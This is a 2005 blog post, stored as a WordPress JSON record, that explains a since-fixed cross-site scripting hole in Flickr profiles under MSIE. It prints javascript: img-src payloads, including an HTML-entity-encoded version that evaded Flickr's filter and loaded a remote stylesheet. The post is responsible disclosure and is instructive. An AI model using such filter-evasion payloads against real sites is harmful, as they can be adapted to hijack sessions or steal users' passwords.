{"id":286,"date":"2005-05-23T23:34:53","date_gmt":"2005-05-23T22:34:53","guid":{"rendered":"http:\/\/frenchfragfactory.net\/ozh\/?p=286"},"modified":"2007-05-08T16:11:36","modified_gmt":"2007-05-08T14:11:36","slug":"cross-site-scripting-skinning-flickr-with-msie","status":"publish","type":"post","link":"https:\/\/planetozh.com\/blog\/2005\/05\/cross-site-scripting-skinning-flickr-with-msie\/","title":{"rendered":"Cross Site Scripting : Skinning Flickr with MSIE"},"content":{"rendered":"<p><strike>If you are using MSIE, here is something to check out : have a look at my <a href=\"http:\/\/flickr.com\/people\/ozh\/\">Flickr Profile<\/a>, and compare with another <a href=\"http:\/\/flickr.com\/people\/skippy\/\">profile<\/a>. If you are not using MSIE,<\/strike> here is what you are missing : <a href=\"http:\/\/flickr.com\/photos\/ozh\/15350590\/\">Skinning Flickr with an XSS exploit<\/a>.<\/p>\n<p>Updated May 27th : Flicker admins fixed this issue so the exploit is no longer possible with MSIE. I&#39;m such a good person sometimes :) Look at the screenshot and explanations anyway :)<\/p>\n<p><!--more--><br \/>\n<img decoding=\"async\" src=\"http:\/\/photos9.flickr.com\/15350590_8272802412.jpg\" alt=\"Cross Site Scripting with Flickr\" class=\"img\"><\/p>\n<p>The concept is the following : MSIE allows img tags with a javascript src. For example, the following is valid in MSIE and would pop a message box.<\/p>\n<div id=\"ig-sh-1\" class=\"syntax_hilite\">\n\n\t\t<div class=\"toolbar\">\n\n\t\t<div class=\"view-different-container\">\n\t\t\t\t\t\t<a href=\"#\" class=\"view-different\">&lt; View <span>plain text<\/span> &gt;<\/a>\n\t\t\t\t\t<\/div>\n\n\t\t<div class=\"language-name\">HTML<\/div>\n\n\t\t\n\t\t<br clear=\"both\">\n\n\t<\/div>\n\t\n\t<div class=\"code\">\n\t\t<ol class=\"html4strict\" style=\"font-family:monospace\"><li style=\"font-weight: normal;vertical-align:top\"><div style=\"font: normal normal 1em\/1.2em monospace;margin:0;padding:0;background:none;vertical-align:top\"><span style=\"color: #009900\">&lt;<span style=\"color: #000000;font-weight: bold\">img<\/span> <span style=\"color: #000066\">src<\/span><span style=\"color: #66cc66\">=<\/span><span style=\"color: #ff0000\">&quot;javascript:alert('hello');&quot;<\/span>&gt;<\/span><\/div><\/li>\n<\/ol>\t<\/div>\n\n<\/div>\n\n<p>Most of the time, scripts running on servers filter out this kind of trick, because it allows execution of unwanted, possibly malicious, remote code. But most of the time also, scripts don&#39;t check <a href=\"http:\/\/ha.ckers.org\/xss.html\">every possibility of XSS filter evasion<\/a> (really interesting read, a bit scary even :)<\/p>\n<p>What I did here is the following :<\/p>\n<ul>\n<li>First, I created an <a href=\"http:\/\/planetozh.com\/projects\/flickr_xss.css\">extra CSS file for Flickr<\/a>. Ok, it&#39;s not the prettiest layout you can dream of for Flickr, but heh, I was more on the &quot;proof of concept&quot; :)\n<\/li>\n<li>Now, what I wanted to do was adding in my <a href=\"http:\/\/flickr.com\/people\/ozh\/\">Flickr Profile<\/a> the following image :\n<div id=\"ig-sh-2\" class=\"syntax_hilite\">\n\n\t\t<div class=\"toolbar\">\n\n\t\t<div class=\"view-different-container\">\n\t\t\t\t\t\t<a href=\"#\" class=\"view-different\">&lt; View <span>plain text<\/span> &gt;<\/a>\n\t\t\t\t\t<\/div>\n\n\t\t<div class=\"language-name\">HTML<\/div>\n\n\t\t\n\t\t<br clear=\"both\">\n\n\t<\/div>\n\t\n\t<div class=\"code\">\n\t\t<ol class=\"html4strict\" style=\"font-family:monospace\"><li style=\"font-weight: normal;vertical-align:top\"><div style=\"font: normal normal 1em\/1.2em monospace;margin:0;padding:0;background:none;vertical-align:top\"><span style=\"color: #009900\">&lt;<span style=\"color: #000000;font-weight: bold\">img<\/span> <span style=\"color: #000066\">src<\/span><span style=\"color: #66cc66\">=<\/span><span style=\"color: #ff0000\">&quot;javascript:document.getElementsByTagName('link')&amp;#91;0&amp;#93;.href='http:\/\/planetozh.com\/projects\/flickr_xss.css';&quot;<\/span> <span style=\"color: #000066\">width<\/span><span style=\"color: #66cc66\">=<\/span><span style=\"color: #ff0000\">&quot;0&quot;<\/span> <span style=\"color: #000066\">height<\/span><span style=\"color: #66cc66\">=<\/span><span style=\"color: #ff0000\">&quot;0&quot;<\/span>&gt;<\/span><\/div><\/li>\n<\/ol>\t<\/div>\n\n<\/div>\n\n<p>This would replace Flickr&#39;s CSS location with mine.\n<\/li>\n<li>Of course, Flickr doesn&#39;t allow an image with a &quot;javascript&quot; source. So everything was encoded with HTML entities, since at that moment Flickr did not filter them out :\n<div id=\"ig-sh-3\" class=\"syntax_hilite\">\n\n\t\t<div class=\"toolbar\">\n\n\t\t<div class=\"view-different-container\">\n\t\t\t\t\t\t<a href=\"#\" class=\"view-different\">&lt; View <span>plain text<\/span> &gt;<\/a>\n\t\t\t\t\t<\/div>\n\n\t\t<div class=\"language-name\">HTML<\/div>\n\n\t\t\n\t\t<br clear=\"both\">\n\n\t<\/div>\n\t\n\t<div class=\"code\">\n\t\t<ol class=\"html4strict\" style=\"font-family:monospace\"><li style=\"font-weight: normal;vertical-align:top\"><div style=\"font: normal normal 1em\/1.2em monospace;margin:0;padding:0;background:none;vertical-align:top\"><span style=\"color: #009900\">&lt;<span style=\"color: #000000;font-weight: bold\">img<\/span> <span style=\"color: #000066\">src<\/span><span style=\"color: #66cc66\">=<\/span><span style=\"color: #ff0000\">&quot;&amp;#106&amp;#97&amp;#118&amp;#97&amp;#115&amp;#99&amp;#114&amp;#105&amp;#112&amp;#116&amp;#58&amp;#100<\/span><\/span><\/div><\/li>\n<li style=\"font-weight: normal;vertical-align:top\"><div style=\"font: normal normal 1em\/1.2em monospace;margin:0;padding:0;background:none;vertical-align:top\"><span style=\"color: #009900\"><span style=\"color: #ff0000\">&amp;#111&amp;#99&amp;#117&amp;#109&amp;#101&amp;#110&amp;#116&amp;#46&amp;#103&amp;#101&amp;#116&amp;#69&amp;#108&amp;#101<\/span><\/span><\/div><\/li>\n<li style=\"font-weight: normal;vertical-align:top\"><div style=\"font: normal normal 1em\/1.2em monospace;margin:0;padding:0;background:none;vertical-align:top\"><span style=\"color: #009900\"><span style=\"color: #ff0000\">&amp;#109&amp;#101&amp;#110&amp;#116&amp;#115&amp;#66&amp;#121&amp;#84&amp;#97&amp;#103&amp;#78&amp;#97&amp;#109&amp;#101<\/span><\/span><\/div><\/li>\n<li style=\"font-weight: normal;vertical-align:top\"><div style=\"font: normal normal 1em\/1.2em monospace;margin:0;padding:0;background:none;vertical-align:top\"><span style=\"color: #009900\"><span style=\"color: #ff0000\">&amp;#40&amp;#39&amp;#108&amp;#105&amp;#110&amp;#107&amp;#39&amp;#41&amp;#91&amp;#48&amp;#93&amp;#46&amp;#104&amp;#114<\/span><\/span><\/div><\/li>\n<li style=\"font-weight: normal;vertical-align:top\"><div style=\"font: normal normal 1em\/1.2em monospace;margin:0;padding:0;background:none;vertical-align:top\"><span style=\"color: #009900\"><span style=\"color: #ff0000\">&amp;#101&amp;#102&amp;#61&amp;#39&amp;#104&amp;#116&amp;#116&amp;#112&amp;#58&amp;#47&amp;#47&amp;#102&amp;#114&amp;#101<\/span><\/span><\/div><\/li>\n<li style=\"font-weight: normal;vertical-align:top\"><div style=\"font: normal normal 1em\/1.2em monospace;margin:0;padding:0;background:none;vertical-align:top\"><span style=\"color: #009900\"><span style=\"color: #ff0000\">&amp;#110&amp;#99&amp;#104&amp;#102&amp;#114&amp;#97&amp;#103&amp;#102&amp;#97&amp;#99&amp;#116&amp;#111&amp;#114<\/span><\/span><\/div><\/li>\n<li style=\"font-weight: normal;vertical-align:top\"><div style=\"font: normal normal 1em\/1.2em monospace;margin:0;padding:0;background:none;vertical-align:top\"><span style=\"color: #009900\"><span style=\"color: #ff0000\">&amp;#121&amp;#46&amp;#110&amp;#101&amp;#116&amp;#47&amp;#111&amp;#122&amp;#104&amp;#47&amp;#112&amp;#114&amp;#111<\/span><\/span><\/div><\/li>\n<li style=\"font-weight: normal;vertical-align:top\"><div style=\"font: normal normal 1em\/1.2em monospace;margin:0;padding:0;background:none;vertical-align:top\"><span style=\"color: #009900\"><span style=\"color: #ff0000\">&amp;#106&amp;#101&amp;#99&amp;#116&amp;#115&amp;#47&amp;#102&amp;#108&amp;#105&amp;#99&amp;#107&amp;#114&amp;#95<\/span><\/span><\/div><\/li>\n<li style=\"font-weight: normal;vertical-align:top\"><div style=\"font: normal normal 1em\/1.2em monospace;margin:0;padding:0;background:none;vertical-align:top\"><span style=\"color: #009900\"><span style=\"color: #ff0000\">&amp;#120&amp;#115&amp;#115&amp;#46&amp;#99&amp;#115&amp;#115&amp;#39&amp;#59&quot;<\/span> <span style=\"color: #000066\">width<\/span><span style=\"color: #66cc66\">=<\/span><span style=\"color: #cc66cc\">0<\/span> <span style=\"color: #000066\">height<\/span><span style=\"color: #66cc66\">=<\/span><span style=\"color: #cc66cc\">0<\/span>&gt;<\/span><\/div><\/li>\n<\/ol>\t<\/div>\n\n<\/div>\n\n<\/li>\n<li>And <a href=\"http:\/\/flickr.com\/photos\/ozh\/15350590\/\">voil\u00c3\u00a0<\/a>\n<\/li>\n<\/ul>\n<p>This is an harmless (and ugly, ok, I admit) example of Cross Site Scripting, which must be considered potentially harmful : here, I&#39;m just running a javascript bit in an image, but on some situation, you could do much more evil things, especially on Microsoft Internet users (stealing codes and password).<\/p>\n<p><del datetime=\"2005-05-27T22:02:22-02:00\">Ok, I&#39;m now warning Flickr&#39;s admins about this or they might just kill my account :-P<\/del> Done, and they fixed it.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Having some fun with hidden javascript<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[2,55,71,88,22,7,72],"class_list":["post-286","post","type-post","status-publish","format-standard","hentry","tag-code","tag-css","tag-firefox","tag-flickr","tag-images","tag-javascript","tag-msie"],"_links":{"self":[{"href":"https:\/\/planetozh.com\/blog\/wp-json\/wp\/v2\/posts\/286","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/planetozh.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/planetozh.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/planetozh.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/planetozh.com\/blog\/wp-json\/wp\/v2\/comments?post=286"}],"version-history":[{"count":0,"href":"https:\/\/planetozh.com\/blog\/wp-json\/wp\/v2\/posts\/286\/revisions"}],"wp:attachment":[{"href":"https:\/\/planetozh.com\/blog\/wp-json\/wp\/v2\/media?parent=286"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/planetozh.com\/blog\/wp-json\/wp\/v2\/categories?post=286"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/planetozh.com\/blog\/wp-json\/wp\/v2\/tags?post=286"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}